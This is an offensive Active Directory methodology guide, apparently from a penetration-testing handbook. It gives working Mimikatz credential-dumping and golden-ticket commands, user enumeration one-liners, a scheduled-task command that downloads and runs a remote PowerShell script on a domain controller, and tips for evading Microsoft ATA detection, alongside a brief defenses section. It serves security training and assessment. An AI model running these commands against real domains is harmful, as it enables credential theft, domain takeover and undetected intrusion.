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Active Directory Methodology

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Basic overview

Active Directory allows network administrators to create and manage domains, users, and objects within a network. For example, an admin can create a group of users and give them specific access privileges to certain directories on the server. As a network grows, Active Directory provides a way to organize a large number of users into logical groups and subgroups, while providing access control at each level.
The Active Directory structure includes three main tiers: 1) domains, 2) trees, and 3) forests. Several objects (users or devices) that all use the same database may be grouped in to a single domain. Multiple domains can be combined into a single group called a tree. Multiple trees may be grouped into a collection called a forest. Each one of these levels can be assigned specific access rights and communication privileges.
Main concepts of an Active Directory:
  1. 1.
    Directory – Contains all the information about the objects of the Active directory
  2. 2.
    Object – An object references almost anything inside the directory (a user, group, shared folder...)
  3. 3.
    Domain – The objects of the directory are contained inside the domain. Inside a "forest" more than one domain can exist and each of them will have their own objects collection.
  4. 4.
    Tree – Group of domains with the same root. Example: dom.local, email.dom.local, www.dom.local
  5. 5.
    Forest – The forest is the highest level of the organization hierarchy and is composed by a group of trees. The trees are connected by trust relationships.
Active Directory provides several different services, which fall under the umbrella of "Active Directory Domain Services," or AD DS. These services include:
  1. 1.
    Domain Services – stores centralized data and manages communication between users and domains; includes login authentication and search functionality
  2. 2.
    Certificate Services – creates, distributes, and manages secure certificates
  3. 3.
    Lightweight Directory Services – supports directory-enabled applications using the open (LDAP) protocol
  4. 4.
    Directory Federation Services – provides single-sign-on (SSO) to authenticate a user in multiple web applications in a single session
  5. 5.
    Rights Management – protects copyrighted information by preventing unauthorized use and distribution of digital content
  6. 6.
    DNS Service – Used to resolve domain names.
AD DS is included with Windows Server (including Windows Server 10) and is designed to manage client systems. While systems running the regular version of Windows do not have the administrative features of AD DS, they do support Active Directory. This means any Windows computer can connect to a Windows workgroup, provided the user has the correct login credentials. From: https://techterms.com/definition/active_directory​

Kerberos Authentication

To learn how to attack an AD you need to understand really good the Kerberos authentication process. Read this page if you still don't know how it works.​

Cheat Sheet

You can take a lot to https://wadcoms.github.io/ to have a quick view of which commands you can run to enumerate/exploit an AD.

Recon Active Directory (No creds/sessions)

If you just have access to an AD environment but you don't have any credentials/sessions you could:

User enumeration

When an invalid username is requested the server will respond using the Kerberos error code KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, allowing us to determine that the username was invalid. Valid usernames will illicit either the TGT in a AS-REP response or the error KRB5KDC_ERR_PREAUTH_REQUIRED, indicating that the user is required to perform pre-authentication.
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>
msf> use auxiliary/gather/kerberos_enumusers
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
enum4linux -U 10.10.10.161 | grep 'user:' | sed 's/user:\[//g' | sed 's/\]//g' | awk '{print $1}'
You could also use the impacket script of ASREPRoast to enumerate valid usernames.

Knowing one or several usernames

Ok, so you know you have already a valid username but no passwords...Then try:
  • ​ASREPRoast: If a user doesn't have the attribute DONT_REQ_PREAUTH you can request a AS_REP message for that user that will contain some data encrypted by a derivation of the password of the user.
  • ​Password Spraying: Let's try the most common passwords with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy)
  • A final option if the accounts cannot be locked is the traditional bruteforce****

Enumerating Active Directory (Some creds/Session)

For this phase you need to have compromised the credentials or a session of a valid domain account.

Enumeration

If you have some valid credentials or a shell as a domain user, you should remember that the options given before are still options to compromise other users. Regarding ASREPRoastyou can now find every possible vulnerable user, and regarding Password Spraying you can get a list of all the usernames and try the password of the compromised account (if you know it). It's very easy to obtain all the domain usernames from Windows (net user /domain ,Get-DomainUseror wmic useraccount get name,sid). In* linux\* you can use: GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username
Having compromised an account is a big step to start compromising the whole domain, because you are going to be able to start the Active Directory Enumeration:
Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done.

Kerberoast

The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts. Thus, part of these TGS tickets are encrypted with keys derived from user passwords. As a consequence, their credentials could be cracked offline. You can know that a user account is being used as a service because the property "ServicePrincipalName" is not null. Find more information about this attack in the Kerberoast page.

Local Privilege Escalation

If you have compromised credentials or a session as a regular domain user and you have access with this user to any machine in the domain you should try to find your way to escalate privileges locally. This is because only with admin privileges you will be able to dump hashes of other users in memory (LSASS) and locally (SAM). There is a complete page in this book about local privilege escalation in Windows and a checklist. Also, don't forget to use WinPEAS.

Win-RM

Once you have obtained some credentials you could check if you have access to any machine using the win-rm service. More information about how to use and abuse win-rm here.​

Privesc on Active Directory (Some "privileged" Creds/Session)

For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.

Hash extraction

Hopefully you have managed to compromise some local admin account using ASREPROast, Password Spraying, Kerberoast, Responder, EvilSSDP, Enumerating... or escalating privileges locally. Then, its time to dump all the hashes in memory and locally. Read this page about different ways to obtain the hashes.​

Pass the Hash

Once you have the hash of a user, you can use it to impersonate it. You need to use some tool that will perform the NTLM authentication using that hash, or you could create a new sessionlogon and inject that hash inside the LSASS, so when any NTLM authentication is performed, that hash will be used. The last option is what mimikatz does. More information about this attack and about how does NTLM works here.

Over Pass the Hash/Pass the Key

This attack aims to use the user NTLM hash to request Kerberos tickets, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially useful in networks where NTLM protocol is disabled and only Kerberos is allowed as authentication protocol. More information about Over Pass the Hash/Pass the Key here.​

Pass the Ticket

This attack is similar to Pass the Key, but instead of using hashes to request a ticket, the ticket itself is stolen and used to authenticate as its owner. More information about Pass the Ticket here.
If a user has privileges to access MSSQL instances, he could be able to use it to execute commands in the MSSQL host (if running as SA). Also, if a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to use the trust relationship to execute queries also in the other instance. These trusts can be chained and at some point the user might be able to find a misconfigured database where he can execute commands. The links between databases work even across forest trusts. More information about this technique here.​

Unconstrained Delegation

If you find any Computer object with the attribute ADS_UF_TRUSTED_FOR_DELEGATION and you have domain privileges in the computer, you will be able to dump TGTs from memory of every users that logins onto the computer. So, if a Domain Admin logins onto the computer, you will be able to dump his TGT and impersonate him using Pass the Ticket. Thanks to constrained delegation you could even automatically compromise a Print Server (hopefully it will be a DC). More information about this technique here.​

Constrained Delegation

If a user or computer is allowed for "Constrained Delegation" it will be able to impersonate any user to access some services in a computer. Then, if you compromise the hash of this user/computer you will be able to impersonate any user (even domain admins) to access some services. More information about this attacks and some constrains here.​

ACLs Abuse

The compromised user could have some interesting privileges over some domain objects that could let you move laterally/escalate privileges. More information about interesting privileges here.​

Printer Spooler service abuse

If you can find any Spool service listening inside the domain, you may be able to abuse is to obtain new credentials and escalate privileges. More information about how to find a abuse Spooler services here.​

Dumping Domain Credentials

Once you get Domain Admin privileges, you can dump all the domain database.
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Persistence

Some of the techniques discussed before can be used for persistence. For example you could make a user vulnerable to ASREPRoast or to Kerberoast.

Golden Ticket

A valid TGT as any user can be created using the NTLM hash of the krbtgt AD account. The advantage of forging a TGT instead of TGS is being able to access any service (or machine) in the domain ad the impersonated user.

Silver Ticket

The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of service is owned (like the PC account hash). Thus, it is possible to gain access to that service by forging a custom TGS as any user (like privileged access to a computer). More information about Silver Ticket here.​

AdminSDHolder Group

The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all “protected groups” in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins. By default, the ACL of this group is copied inside all the "protected groups". This is done to avoid intentional or accidental changes to these critical groups. However, if an attacker modifies the ACL of the group AdminSDHolder for example, giving full permissions to a regular user, this user will have full permissions on all the groups inside the protected group (in an hour). And if someone tries to delete this user from the Domain Admins (for example) in an hour or less, the user will be back in the group. More information about AdminSDHolder Group here.

DSRM Credentials

There is a local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user. More information about DSRM Credentials here.****

ACL Persistence

You could give some special permissions to a user over some specific domain objects that will let the user escalate privileges in the future. More information about interesting privileges here.​

Security Descriptors

The security descriptors are used to store the permissions an object have over an object. If you can just make a little change in the security descriptor of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group. More information about Security Descriptors here.

Skeleton Key

Modify LSASS in memory to create a master password that will work for any account in the domain. More information about Skeleton Key here.​

Custom SSP

​Learn what is a SSP (Security Support Provider) here. You can create you own SSP to capture in clear text the credentials used to access the machine. More information about Custom SSP here.

DCShadow

It registers a new Domain Controller in the AD and uses it to push attributes (SIDHistory, SPNs...) on specified objects without leaving any logs regarding the modifications. You need DA privileges and be inside the root domain. Note that if you use wrong data, pretty ugly logs will appear. More information about DCShadow here.****

Forest Privilege Escalation - Domain Trusts

Microsoft considers that the domain isn't a Security Boundary, the Forest is the security Boundary. This means that if you compromise a domain inside a Forest you are going to be able to compromise the entire Forest.

Basic Information

At a high level, a domain trust establishes the ability for users in one domain to authenticate to resources or act as a security principal in another domain.
Essentially, all a trust does is linking up the authentication systems of two domains and allowing authentication traffic to flow between them through a system of referrals. When 2 domains trust each other they exchange keys, these keys are going to be saved in the DCs of each domains (1 key per trust direction) and the keys will be the base of the trust.
When a user tries to access a service on the trusting domain it will request an inter-realm TGT to the DC of its domain. The DC wills serve the client this TGT which would be encrypted/signed with the inter-realm key (the key both domains exchanged). Then, the client will access the DC of the other domain and will request a TGS for the service using the inter-realm TGT. The DC of the trusting domain will check the key used, if it's ok, it will trust everything in that ticket and will serve the TGS to the client.

Different trusts

It's important to notice that a trust can be 1 way or 2 ways. In the 2 ways options, both domains will trust each other, but in the 1 way trust relation one of the domains will be the trusted and the other the trusting domain. In the last case, you will only be able to access resources inside the trusting domain from the trusted one.
A trust relationship can also be transitive (A trust B, B trust C, then A trust C) or non-transitive.
Different trusting relationships:
  • Parent/Child – part of the same forest – a child domain retains an implicit two-way transitive trust with its parent. This is probably the most common type of trust that you’ll encounter.
  • Cross-link – aka a “shortcut trust” between child domains to improve referral times. Normally referrals in a complex forest have to filter up to the forest root and then back down to the target domain, so for a geographically spread out scenario, cross-links can make sense to cut down on authentication times.
  • External – an implicitly non-transitive trust created between disparate domains. “External trusts provide access to resources in a domain outside of the forest that is not already joined by a forest trust.” External trusts enforce SID filtering, a security protection covered later in this post.
  • Tree-root – an implicit two-way transitive trust between the forest root domain and the new tree root you’re adding. I haven’t encountered tree-root trusts too often, but from the Microsoft documentation, they’re created when you when you create a new domain tree in a forest. These are intra-forest trusts, and they preserve two-way transitivity while allowing the tree to have a separate domain name (instead of child.parent.com).
  • Forest – a transitive trust between one forest root domain and another forest root domain. Forest trusts also enforce SID filtering.
  • MIT – a trust with a non-Windows RFC4120-compliant Kerberos domain. I hope to dive more into MIT trusts in the future.

Attack Path

  1. 1.
    Enumerate the trusting relationships
  2. 2.
    Check if any security principal (user/group/computer) has access to resources of the other domain, maybe by ACE entries or by being in groups of the other domain. Look for relationships across domains (the trust was created for this probably).
    1. 1.
      kerberoast in this case could be another option.
  3. 3.
    Compromise the accounts which can pivot through domains.
There are three main ways that security principals (users/groups/computer) from one domain can have access into resources in another foreign/trusting domain:
  • They can be added to local groups on individual machines, i.e. the local “Administrators” group on a server.
  • They can be added to groups in the foreign domain. There are some caveats depending on trust type and group scope, described shortly.
  • They can be added as principals in an access control list, most interesting for us as principals in ACEs in a DACL. For more background on ACLs/DACLs/ACEs, check out the “An ACE Up The Sleeve” whitepaper.

Child-to-Parent forest privilege escalation

Also, notice that there are 2 trusted keys, one for Child --> Parent and another one for Parent --> Child.
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:7ef5be456dc8d7450fb8f5f7348746c5 /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"'
/domain:<Current domain>
/sid:<SID of current domain>
/sids:<SID of the Enterprise Admins group of the parent domain>
/rc4:<Trusted key>
/user:Administrator
/service:<target service>
/target:<Other domain>
/ticket:C:\path\save\ticket.kirbi
For finding the SID of the "Enterprise Admins" group you can find the SID of the root domain and set it in S-1-5-21root domain-519. For example, from root domain SID S-1-5-21-280534878-1496970234-700767426 the "Enterprise Admins"group SID is S-1-5-21-280534878-1496970234-700767426-519
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
Escalate to DA of root or Enterprise admin using the KRBTGT hash of the compromised domain:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"

External Forest Domain Privilege escalation

In this case you can sign with the trusted key a TGT impersonating the Administrator user of the current domain. In this case you won't always get Domain Admins privileges in the external domain, but only the privileges the Administrator user of your current domain was given in the external domain.
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'

Domain trust abuse mitigation

SID Filtering:
  • Avoid attacks which abuse SID history attribute across forest trust.
  • Enabled by default on all inter-forest trusts. Intra-forest trusts are assumed secured by default (MS considers forest and not the domain to be a security boundary).
  • But, since SID filtering has potential to break applications and user access, it is often disabled.
  • Selective Authentication
    • In an inter-forest trust, if Selective Authentication is configured, users between the trusts will not be automatically authenticated. Individual access to domains and servers in the trusting domain/forest should be given.

Some General Defenses

​Learn more about how to protect credentials here. Please, find some migrations against each technique in the description of the technique.
  • Not allow Domain Admins to login on any other hosts apart from Domain Controllers
  • Never run a service with DA privileges
  • If you need domain admin privileges, limit the time: Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)

Deception

  • Password does not expire
  • Trusted for Delegation
  • Users with SPN
  • Password in description
  • Users who are members of high privilege groups
  • Users with ACL rights over other users, groups or containers
  • Computer objects
  • ...
  • ​https://github.com/samratashok/Deploy-Deception​
    • Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose

How to identify deception

For user objects:
  • ObjectSID (different from the domain)
  • lastLogon, lastlogontimestamp
  • Logoncount (very low number is suspicious)
  • whenCreated
  • Badpwdcount (very low number is suspicious)
General:
  • Some solutions fill with information in all the possible attributes. For example, compare the attributes of a computer object with the attribute of a 100% real computer object like DC. Or users against the RID 500 (default admin).
  • Check if something is too good to be true
  • ​https://github.com/JavelinNetworks/HoneypotBuster​

Bypassing Microsoft ATA detection

User enumeration

ATA only complains when you try to enumerate sessions in the DC, so if you don't look for sessions in the DC but in the rest of the hosts, you probably won't get detected.

Tickets impersonation creation (Over pass the hash, golden ticket...)

Always create the tickets using the aes keys also because what ATA identifies as malicious is the degradation to NTLM.

DCSync

If you don't execute this from a Domain Controller, ATA is going to catch you, sorry.

More Tools

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Abusing Active Directory ACLs/ACEs
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